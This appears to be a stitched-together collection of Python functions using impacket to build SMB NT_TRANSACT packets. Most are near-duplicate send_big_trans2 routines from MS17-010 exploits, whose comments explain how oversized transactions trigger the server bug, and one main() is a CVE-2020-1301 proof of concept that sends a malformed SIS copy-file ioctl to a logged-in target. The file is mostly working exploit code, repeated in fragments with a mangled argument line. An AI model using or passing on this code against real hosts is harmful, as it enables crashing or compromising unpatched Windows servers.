def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): pkt = smb.NewSMBPacket() pkt['Tid'] = tid command = pack('<H', setup) transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() transCommand['Parameters']['MaxSetupCount'] = 1 transCommand['Parameters']['MaxParameterCount'] = len(param) transCommand['Parameters']['MaxDataCount'] = 0 transCommand['Data'] = smb.SMBTransaction2_Data() transCommand['Parameters']['Setup'] = command transCommand['Parameters']['TotalParameterCount'] = len(param) transCommand['Parameters']['TotalDataCount'] = len(data) fixedOffset = 32 + 3 + 38 + len(command) if len(param) > 0: padLen = (4 - fixedOffset % 4) % 4 padBytes = '\xFF' * padLen transCommand['Data']['Pad1'] = padBytes else: transCommand['Data']['Pad1'] = '' padLen = 0 transCommand['Parameters']['ParameterCount'] = len(param) transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen if len(data) > 0: pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = firstDataFragmentSize transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len transCommand['Data']['Trans_Parameters'] = param transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] pkt.addCommand(transCommand) conn.sendSMB(pkt) conn.recvSMB() # must be success i = firstDataFragmentSize while i < len(data): sendSize = min(4096, len(data) - i) if len(data) - i <= 4096: if not sendLastChunk: break send_trans2_second(conn, tid, data[i:i + sendSize], i) i += sendSize if sendLastChunk: conn.recvSMB() return i
def SendNtTrans(conn, tid, functionID, maxSetupCount, setup, maxDataCount, totalDataCount, data, maxParamCount, totalParamCount, param): smb_packet = smb.NewSMBPacket() smb_packet['Tid'] = tid # setup depends on NT_TRANSACT subcommands so it may be 0. setup_bytes = struct.pack('<H', setup) if setup != '' else '' transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() transCommand['Parameters']['Setup'] = setup_bytes transCommand['Parameters']['Function'] = functionID transCommand['Parameters']['TotalParameterCount'] = totalParamCount transCommand['Parameters']['TotalDataCount'] = totalDataCount transCommand['Parameters']['MaxParameterCount'] = maxParamCount transCommand['Parameters']['MaxDataCount'] = maxDataCount transCommand['Parameters']['MaxSetupCount'] = maxSetupCount transCommand['Data'] = smb.SMBNTTransaction_Data() # SMB header size + SMB_COM_NT_TRANSACT parameters size + length of setup bytes. offset = 32 + 3 + 38 + len(setup_bytes) transCommand['Data']['Pad1'] = '' if offset % 4 != 0: transCommand['Data']['Pad1'] = '\0' * (4 - offset % 4) offset += (4 - offset % 4) # pad1 length if len(param) > 0: transCommand['Parameters']['ParameterOffset'] = offset else: transCommand['Parameters']['ParameterOffset'] = 0 offset += len(param) transCommand['Data']['Pad2'] = '' if offset % 4 != 0: transCommand['Data']['Pad2'] = '\0' * (4 - offset % 4) offset += (4 - offset % 4) if len(data) > 0: transCommand['Parameters']['DataOffset'] = offset else: transCommand['Parameters']['DataOffset'] = 0 transCommand['Parameters']['DataCount'] = len(data) transCommand['Parameters']['ParameterCount'] = len(param) transCommand['Data']['NT_Trans_Parameters'] = param transCommand['Data']['NT_Trans_Data'] = data smb_packet.addCommand(transCommand) conn.sendSMB(smb_packet)
def send_nt_trans(tid, setup, data, param, firstDataCnt): pkt = smb.NewSMBPacket() pkt['Tid'] = tid command = pack('<H', setup) transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() transCommand['Parameters']['MaxSetupCount'] = 1 transCommand['Parameters']['MaxParameterCount'] = len(param) transCommand['Parameters']['MaxDataCount'] = 0 transCommand['Data'] = smb.SMBTransaction2_Data() transCommand['Parameters']['Setup'] = command transCommand['Parameters']['TotalParameterCount'] = len(param) transCommand['Parameters']['TotalDataCount'] = len(data) fixedOffset = 32+3+38 + len(command) if len(param) > 0: padLen = (4 - fixedOffset % 4 ) % 4 padBytes = '\xFF' * padLen transCommand['Data']['Pad1'] = padBytes else: transCommand['Data']['Pad1'] = '' padLen = 0 transCommand['Parameters']['ParameterCount'] = len(param) transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen if len(data) > 0: pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = firstDataCnt transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len transCommand['Data']['Trans_Parameters'] = param transCommand['Data']['Trans_Data'] = data[:firstDataCnt] pkt.addCommand(transCommand) conn.sendSMB(pkt) i = firstDataCnt while i < len(data): sendSize = min(4096, len(data) - i) send_trans2_second(tid, data[i:i+sendSize], i) i += sendSize conn.recvSMB()
def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): if maxSetupCount is None: maxSetupCount = len(setup) if totalParameterCount is None: totalParameterCount = len(param) if totalDataCount is None: totalDataCount = len(data) if maxParameterCount is None: maxParameterCount = totalParameterCount if maxDataCount is None: maxDataCount = totalDataCount transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCmd['Parameters'] = smb.SMBNTTransaction_Parameters() transCmd['Parameters']['MaxSetupCount'] = maxSetupCount transCmd['Parameters']['TotalParameterCount'] = totalParameterCount transCmd['Parameters']['TotalDataCount'] = totalDataCount transCmd['Parameters']['MaxParameterCount'] = maxParameterCount transCmd['Parameters']['MaxDataCount'] = maxDataCount transCmd['Parameters']['ParameterCount'] = len(param) transCmd['Parameters']['DataCount'] = len(data) transCmd['Parameters']['Function'] = function transCmd['Parameters']['Setup'] = setup _put_trans_data(transCmd, param, data, noPad) return self.create_smb_packet(transCmd, mid, pid, tid)
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): pkt = smb.NewSMBPacket() pkt['Tid'] = tid command = pack('<H', setup) # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug. transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() transCommand['Parameters']['MaxSetupCount'] = 1 transCommand['Parameters']['MaxParameterCount'] = len(param) transCommand['Parameters']['MaxDataCount'] = 0 transCommand['Data'] = smb.SMBTransaction2_Data() transCommand['Parameters']['Setup'] = command transCommand['Parameters']['TotalParameterCount'] = len(param) transCommand['Parameters']['TotalDataCount'] = len(data) fixedOffset = 32+3+38 + len(command) if len(param) > 0: padLen = (4 - fixedOffset % 4 ) % 4 padBytes = '\xFF' * padLen transCommand['Data']['Pad1'] = padBytes else: transCommand['Data']['Pad1'] = '' padLen = 0 transCommand['Parameters']['ParameterCount'] = len(param) transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen if len(data) > 0: pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = firstDataFragmentSize transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len transCommand['Data']['Trans_Parameters'] = param transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] pkt.addCommand(transCommand) conn.sendSMB(pkt) recvPkt = conn.recvSMB() # must be success if recvPkt.getNTStatus() == 0: module.log('got good NT Trans response') else: module.log('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error') sys.exit(1) # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data i = firstDataFragmentSize while i < len(data): sendSize = min(4096, len(data) - i) if len(data) - i <= 4096: if not sendLastChunk: break send_trans2_second(conn, tid, data[i:i+sendSize], i) i += sendSize if sendLastChunk: conn.recvSMB() return i
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): # Here is another bug in MS17-010. # To call transaction subcommand, normally a client need to use correct SMB commands as documented in # https://msdn.microsoft.com/en-us/library/ee441514.aspx # If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client # can use *_SECONDARY command to send transaction message. When sending a transaction completely with # *_SECONDARY command, a server uses the last command that complete the transaction. # For example: # - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*. # - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*. # # Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same. # For example: # - a client start transaction with SMB_COM_NT_TRANSACT command # - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY # - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY # - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field) # From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction # with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT # While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount # field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx). # Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction) pkt = smb.NewSMBPacket() pkt['Tid'] = tid command = pack('<H', setup) # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug. transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() transCommand['Parameters']['MaxSetupCount'] = 1 transCommand['Parameters']['MaxParameterCount'] = len(param) transCommand['Parameters']['MaxDataCount'] = 0 transCommand['Data'] = smb.SMBTransaction2_Data() transCommand['Parameters']['Setup'] = command transCommand['Parameters']['TotalParameterCount'] = len(param) transCommand['Parameters']['TotalDataCount'] = len(data) fixedOffset = 32+3+38 + len(command) if len(param) > 0: padLen = (4 - fixedOffset % 4 ) % 4 padBytes = '\xFF' * padLen transCommand['Data']['Pad1'] = padBytes else: transCommand['Data']['Pad1'] = '' padLen = 0 transCommand['Parameters']['ParameterCount'] = len(param) transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen if len(data) > 0: pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = firstDataFragmentSize transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len transCommand['Data']['Trans_Parameters'] = param transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] pkt.addCommand(transCommand) conn.sendSMB(pkt) conn.recvSMB() # must be success # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data i = firstDataFragmentSize while i < len(data): # limit data to 4096 bytes per SMB message because this size can be used for all Windows version sendSize = min(4096, len(data) - i) if len(data) - i <= 4096: if not sendLastChunk: break send_trans2_second(conn, tid, data[i:i+sendSize], i) i += sendSize if sendLastChunk: conn.recvSMB() return i
def main(argv): try: opts, args = getopt.getopt(argv, "ht:u:p:", ["target=", "username="******"password="******"127.0.0.1" username = "" password = "" for opt, arg in opts: if opt == '-h': print './CVE-2020-1301.py -t <target> -u <username> -p <password>' sys.exit() elif opt in ("-t", "--target"): target_ip = arg elif opt in ("-u", "--user"): username = arg elif opt in ("-p", "--password"): password = arg ''' IOCTL Code: 0x090100 is FSCTL_SIS_COPYFILE ''' s = smb.SMB('*SMBSERVER', target_ip) s.login(username, password, '') tid = s.tree_connect_andx(r"\\*SMBSERVER\C") print "tid = %d" % tid fName = 'Windows\\system.ini' fid = s.open_andx(tid, fName, smb.SMB_O_OPEN, smb.SMB_ACCESS_READ)[0] print "fid = %d" % fid try: s2 = smb.NewSMBPacket() cmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) cmd['Parameters'] = smb.SMBNTTransaction_Parameters() cmd['Data'] = smb.SMBNTTransaction_Data() IoctlCode = 0x90100 setup = smb.pack('<L', IoctlCode) setup += smb.pack('<H', fid) setup += 'a' * 2 name = '' param = '' size = 10 data = smb.pack('<L', size) # SourceFileNameLength data += smb.pack('<L', 1) # DestinationFileNameLength data += smb.pack('<L', 0x00000002) # Flags data += '\x00' * (size - 1) # SourceFileName (variable) data += '\x00' # DestinationFileName (variable) data += '\x00\x00' data += '\x41' * 16 data += '\x42' * 16 data += '\x43' * 16 data += '\x44' * 16 data += 'Exploit me! ;-)' cmd['Parameters']['MaxSetupCount'] = 0x55 cmd['Parameters']['TotalParameterCount'] = len(param) cmd['Parameters']['TotalDataCount'] = len(data) cmd['Parameters']['MaxParameterCount'] = 0x55 cmd['Parameters']['MaxDataCount'] = 0x55 cmd['Parameters']['ParameterCount'] = len(param) cmd['Parameters']['ParameterOffset'] = 0x20 + 0x03 + 0x1c + len( setup) + len(name) cmd['Parameters']['DataCount'] = len(data) cmd['Parameters']['DataOffset'] = 0x20 + 0x03 + 0x26 + len( setup) + len(name) + len(param) cmd['Parameters']['Function'] = 0x0002 cmd['Parameters']['Setup'] = setup cmd['Data']['Pad1'] = '' cmd['Data']['NT_Trans_Parameters'] = param cmd['Data']['Pad2'] = '' cmd['Data']['NT_Trans_Data'] = data s2.addCommand(cmd) s2['Tid'] = tid smb.SMB.sendSMB(s, s2) except smb.SessionError, e: print e
def send_big_transfer(connection, tid, setup, data, params, first_fragment, send_last=True): packet = smb.NewSMBPacket() packet['Tid'] = tid command = struct.pack('<H', setup) # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug. transfer_command = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transfer_command['Parameters'] = smb.SMBNTTransaction_Parameters() transfer_command['Parameters']['MaxSetupCount'] = 1 transfer_command['Parameters']['MaxParameterCount'] = len(params) transfer_command['Parameters']['MaxDataCount'] = 0 transfer_command['Data'] = smb.SMBTransaction2_Data() transfer_command['Parameters']['Setup'] = command transfer_command['Parameters']['TotalParameterCount'] = len(params) transfer_command['Parameters']['TotalDataCount'] = len(data) fixed_offset = 32 + 3 + 38 + len(command) if len(params) > 0: pad_len = (4 - fixed_offset % 4) % 4 pad_bytes = '\xFF' * pad_len transfer_command['Data']['Pad1'] = pad_bytes else: transfer_command['Data']['Pad1'] = '' pad_len = 0 transfer_command['Parameters']['ParameterCount'] = len(params) transfer_command['Parameters'][ 'ParameterOffset'] = fixed_offset + pad_len if len(data) > 0: pad_to_len = (4 - (fixed_offset + pad_len + len(params)) % 4) % 4 transfer_command['Data']['Pad2'] = '\xFF' * pad_to_len else: transfer_command['Data']['Pad2'] = '' pad_to_len = 0 transfer_command['Parameters']['DataCount'] = first_fragment transfer_command['Parameters']['DataOffset'] = transfer_command['Parameters']['ParameterOffset'] + \ len(params) + pad_to_len transfer_command['Data']['Trans_Parameters'] = params transfer_command['Data']['Trans_Data'] = data[:first_fragment] packet.addCommand(transfer_command) connection.sendSMB(packet) connection.recvSMB() # must be success i = first_fragment while i < len(data): send_size = min(4096, len(data) - i) if len(data) - i <= 4096: if not send_last: break send_transfer_second(connection, tid, data[i:i + send_size], i) i += send_size if send_last: connection.recvSMB() return i